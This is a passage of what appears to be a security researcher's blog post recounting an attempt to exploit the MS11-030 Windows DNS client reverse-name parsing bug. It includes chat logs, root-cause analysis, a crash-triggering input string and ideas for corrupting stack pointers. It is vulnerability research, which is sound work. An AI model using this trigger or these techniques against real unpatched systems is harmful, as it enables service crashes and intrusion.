font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; then the if == begin will never catch it&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:34:39 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Jon Butler:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; hmm&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:34:43 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; jduck&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; 0.in-addr.arpa == trigger&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:34:53 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Jon Butler:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; i'll test it&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:35:45 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Jon Butler:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; no crash&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;A skilled auditor may notice my error here. I thought for sure that would crash the service, but it didn&amp;rsquo;t. So I thought some more...&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:35:54 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; jduck&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; im running thru it in my head hehe&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:36:02 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Jon Butler:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; yeah, its all good&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:36:06 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Jon Butler:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; cant hurt to try&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:36:13 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; jduck&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; maybe .0.in-addr.arpa ?&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:36:16 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Jon Butler:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; i was thinking lots of dots might do it as well&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:36:20 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; jduck&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #16569e; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; with a preceding period&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Now at this point, I had some doubt that this was the bug at all and changed the subject of our conversation before Jon got a chance to test with this input. Silly me. Also, Jon was having some issues getting a debugger going attached to the service.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;(5:24:47 PM)&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #a82f2f; font-weight: bold; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Jon Butler:&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; also, protip: dont atatch windbg to the DNS client then wait while windbg tries to resolve microsoft.com to get symbols &lt;img height="16px" src="https://community.rapid7.com/4.5.5/https://rapid7.hosted.jivesoftware.com/images/emoticons/happy.gif" width="16px"/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Jon and I spent the rest of Tuesday evening and most of Wednesday evening flailing every which way except the right direction. Jon battled the symbol resolution problem while I went off on a tangent trying to trigger the bug in XP. By Wednesday evening (late night Wednesday for Jon), he had solved the symbol issue and began stepping through the code to gain a better understanding. We threw several ideas back and forth, but none of them lead to a crash. Eventually, time got the better of us and we called it a day.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;NOTE: In order to work around the symbol issue, its possible to use the &amp;ldquo;symchk&amp;#8221; executable to download the symbols for the &amp;ldquo;dnscache&amp;#8221; service process before attaching to it. Once downloaded, set the _NT_SYMBOL_PATH variable to point to *ONLY* the local symbol directory, and voila.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Thursday, Jon came online and we continued reviewing the changed functions within the XP DNSAPI.dll. We were hoping that they might give us some insight that we didn&amp;rsquo;t get before. On Jon&amp;rsquo;s recommendation, I asked HD about the Windows XP vector. It went something like this:&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;19:54 &amp;lt;@jduck&amp;gt; will rapid7 give $500 for the local xp exploit?&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;19:54 &amp;lt;@hdm&amp;gt; jduck: sure if its a remote on windows 7 &lt;img height="16px" src="https://community.rapid7.com/4.5.5/https://rapid7.hosted.jivesoftware.com/images/emoticons/silly.gif" width="16px"/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;So I abandoned my efforts trying to trigger the bug via the LPC on XP, and diverted my attention back to Windows 7. I started by going back through the changes (still using XP binaries) one at a time, hoping to eliminate any that weren&amp;rsquo;t security related. I found some changes related to locking, but it&amp;rsquo;s unclear if that was related. After I went through all of these changes, and didn&amp;rsquo;t find any glaring issues, I went back to diffing the Windows 7 binaries. I grabbed fresh copies of the DLLs, grabbed fresh copies of their symbols, created fresh IDBs and &lt;a class="jive-link-external-small" href="http://www.zynamics.com/bindiff.html"&gt;BinDiff&lt;/a&gt;'d them. To my surprise, there was were only four changed functions!&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5384-1316/diff.png"&gt;&lt;img alt="diff.png" class="jive-image" height="86" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5384-1316/310-86/diff.png" width="310"/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;After getting my Windows 7 VM going, working around the symbol resolution issue, I started playing around sending inputs. I read the IPv6 version, &amp;#8221;_Dns_Ip6ReverseNameToAddress_A&amp;#8221;, &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;and spent a couple of hours sending various inputs. Finally, I got a crash!&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Unfortunately, it was only a 0xc00000fd exception. The human-readable description of this exception code, which irks one of my pet peeves, is often displayed as &amp;ldquo;Stack Overflow&amp;#8221;. This is not the kind of crash you want to see when developing an exploit since this kind of crash is &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="https://www.blackhat.com/presentations/bh-usa-07/Dowd_McDonald_and_Mehta/Whitepaper/bh-usa-07-dowd_mcdonald_and_mehta.pdf"&gt;rarely exploitable&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;. In this particular case, there is no exception handler, so it simply kills the process. The service is set to restart automatically twice, and reset counts after one day, but that isn&amp;rsquo;t terribly helpful (try: sc qfailure dnscache).&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Let&amp;rsquo;s take another look at the decompiler output for the Ip4 version.&lt;/span&gt;&lt;span style="font-size: 10pt; font-family: Arial; color: #16569e; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; &lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Consider an input string of &amp;ldquo;.0.in-addr.arpa&amp;#8221;. On the first iteration, a &amp;#8216;0&amp;rsquo; will be found, so &amp;ldquo;v_suffix&amp;#8221; will simply be decremented. On the second iteration, a &amp;#8216;.&amp;rsquo; character is found on line 33. Next, it is overwritten with a NUL byte on line 38 and re-incremented. The &amp;ldquo;strtoul&amp;#8221; function is called on line 40 and the return value from it is merged into ultimate return value on line 43. Since &amp;ldquo;v_suffix&amp;#8221; does not point to the beginning of the buffer, it will be decremented on line 47. Note that after decrementing the pointer here, it will point at the beginning of the buffer (the first &amp;#8216;.&amp;rsquo; character). The next statement that is executed is &amp;ldquo;--v_suffix;&amp;#8221; on line 32. At this point, the pointer has escaped the bounds of the local buffer, and will never again have the chance to point to the beginning. If no &amp;#8216;.&amp;rsquo; character is found before the beginning of the stack is reached, the 0xc00000fd exception will be raised when the guard page at the top of the stack is accessed.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Even though I managed to crash the process, I wasn&amp;rsquo;t 100% sure that this was the reason Microsoft &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="http://www.microsoft.com/technet/security/bulletin/ms11-030.mspx"&gt;released an update&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;. I didn&amp;rsquo;t see anything interesting in the other changed functions. It seemed unlikely that anything good could come from this since there was no return address or function pointer on the stack before the function. &lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;My first thought was to assume that I could control the data above the buffer on the stack. I hypothesized that I could do this via some deeper call stack that would occur in a preceding function call. Perhaps controlling this data would allow passing an input string that was longer than the function originally allowed. That would violate assumptions made by the programmers, and could lead to further corruption. So I created a &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="http://qoop.org/security/research/cve-2011-0657/script.wdbg"&gt;WinDbg script&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; that would put more valid-ish strings into the stack above (lower addresses) the buffer.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;First I tested with the Ip4 variant, but it didn&amp;rsquo;t yield anything fun. Then, I tried some things with the &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="http://qoop.org/security/research/cve-2011-0657/Dns_Ip6ReverseNameToAddress_A.html"&gt;Ip6 version&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;, which writes one byte at a time for each pair of nibbles encountered (ex. &amp;ldquo;a.b.&amp;#8221;). It will write up to 16 bytes (the size of the destination buffer passed in, likely a struct in6_addr). I double-checked and concluded that it wasn&amp;rsquo;t possible to cause a buffer overflow this way. &lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Although I didn&amp;rsquo;t get an awesome crash from this experiment, I found that it was possible to prevent a crash from occurring this way. In one instance, an already-used return address on the stack contained a &amp;#8216;.&amp;rsquo; character and prevented the crash. Being able to force this type of behavior is certainly advantageous, so I wrote this down for later.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Slightly disappointed with these results, I took a look at the Ip4 version&amp;rsquo;s stack frame.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;&lt;a href="https://community.rapid7.com/servlet/JiveServlet/showImage/38-5384-1315/stack.png"&gt;&lt;img alt="stack.png" class="jive-image" height="82" src="https://community.rapid7.com/servlet/JiveServlet/downloadImage/38-5384-1315/310-82/stack.png" style="border-style: initial; border-color: initial; margin: 12px;" width="310"/&gt;&lt;/a&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Just before the data in &amp;ldquo;v_buf&amp;#8221;, we find the pointer &amp;ldquo;v_out_ptr&amp;#8221;. After a brief look over, it seemed the best next-step would be to try to corrupt this pointer and cause the &amp;ldquo;v_result&amp;#8221; value to be written somewhere unexpected. If the pointer happened to contain a &amp;#8216;.&amp;rsquo; character, it would get replaced by a NUL byte. That is, if &amp;ldquo;v_out_ptr&amp;#8221; was 0x00132e40, it would then become 0x00130040. It is possible for this to happen one of two ways. First, we would need to find some way to control the length of preceding function calls stack frames (ex. via &amp;ldquo;alloca&amp;#8221;). This is often a long tedious path, for which not many good tools exist. The other option means crossing our fingers and hoping ASLR gives us a lucky value. I love rare cases where a mitigation contributes to exploitability!&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;NOTE: Although it&amp;rsquo;s not visible in the decompiler output, the &amp;ldquo;v_out_ptr&amp;#8221; is read from the stack immediately before writing the output value. This is one of the reasons why the decompiler can be misleading when doing exploit development.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Initially, I tried a few experiments using the Ip6 version. Unfortunately, the Ip6 version has far more strict handling of the return from &amp;ldquo;strtoul&amp;#8221;. If a zero is returned (ex. a string like &amp;ldquo;z.&amp;#8221;), or if the value is greater than 15, the loop terminates and nothing is written. So I went to check the situation using the Ip4 version. It is a bit more lenient in that it accepts zero return values, as you can see on line 41. However, if we fail that conditional the function returns zero and no write occurs. In fact, only way to get the Ip4 function to write to &amp;ldquo;v_out_ptr&amp;#8221; is when &amp;ldquo;v_suffix&amp;#8221; points at the start of the buffer (line 44). Ugh, strict constraints or impossibilities, not a good feeling.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Finally, on Saturday, I caved in and decided to reach out to Neel Mehta. As the original discoverer of the vulnerability, I figured he had a unique perspective on the issue. After exchanging several emails, Neel confirmed that I had nailed the root cause and offered several promising ideas for where to go next.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;The first idea was to use TCP based LLMNR resolution. I looked at my Windows 7 SP0 machine and it wasn&amp;rsquo;t listening on TCP port 5355. Bummer. Further googling led to an old &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="http://technet.microsoft.com/en-us/library/bb878128.aspx"&gt;TechNet arcticle&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; that states &amp;ldquo;TCP-based LLMNR messages are not supported in Windows Vista&amp;#8221;. Even if Windows 7 supports this feature, &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="http://www.apps.ietf.org/rfc/rfc4795.html"&gt;RFC4795&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; says TCP resolution is only used when the server has a reply that is too long for UDP. In this situation, similar to traditional DNS, the truncation (TC) bit is set in the flags section. Although it may be possible to construct a serious of queries and/or spoofed responses in order to elicit a truncated response, this was not investigated. This could be considered an exercise for the reader, should you be so inclined.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;The second idea that Neel conveyed centered around the additional registers that are pushed onto the stack within the course of the functions executing. Looking at push instructions in the function shows that esi, edi, and ebx are pushed to the stack (in that order). These registers are later restored prior to returning to the calling function, &amp;ldquo;Dns_StringToDnsAddrEx&amp;#8221;. After returning, the ebx register is checked against the value 0x17. The edi register is passed to one of the &amp;ldquo;RtlIpv6StringtoAddressEx&amp;#8221; functions (ANSI or UNICODE). The esi register is passed as the destination argument to one of two &amp;#8216;&amp;#8216;bzero(dst, 0x40)&amp;#8221; calls. Unfortunately, none of this looked particularly promising.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;The third idea that Neel proposed was to investigate the interaction between regular DNS queries and these functions. It turns out that the calling function is called from &amp;ldquo;DnsGetProxyInfoPrivate&amp;#8221; which is exported along with &amp;ldquo;DnsGetProxyInformation&amp;#8221;. We made no further effort to investigate this avenue. Perhaps another exercise for the reader :-)&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; &lt;/span&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;With Saturday winding down, I decided to put together &lt;/span&gt;&lt;span style="vertical-align: baseline; color: #000000; font-style: normal; font-size: 11pt; white-space: pre-wrap; font-family: Arial; font-weight: normal;"&gt;&lt;a class="jive-link-external-small" href="http://qoop.org/security/research/cve-2011-0657/fuzz.rb"&gt;a quick trigger-fuzzer&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt; to test if random luck would lead to anything sexy. I ran it for an hour or so, but quickly got tired of looking at 0xc00000fd exception after 0xc00000fd exception. My hope had started to run out and my batteries needed recharging, so I crashed.&lt;/span&gt;&lt;/p&gt;&lt;p style="min-height: 8pt; height: 8pt; padding: 0px;"&gt;&amp;#160;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size: 11pt; font-family: Arial; color: #000000; font-weight: normal; font-style: normal; vertical-align: baseline; white-space: pre-wrap;"&gt;Sunday, Jon and I went back and forth discussing whether or not the issue was exploitable at all. We recapped our findings, but ultimately came to the conclusion that there was no way we could write a reliable exploit in time to qualify for the bounty. I had previously said I&amp;rsquo;d conduct a few more experiments in the debugger to see if corrupting the other stack-saved registers led to any nice crashes in the parent function. I set a break point in the processing loop of each of the vulnerable functions and fired off some trigger queries. Each time the breakpoint was hit, I wrote a 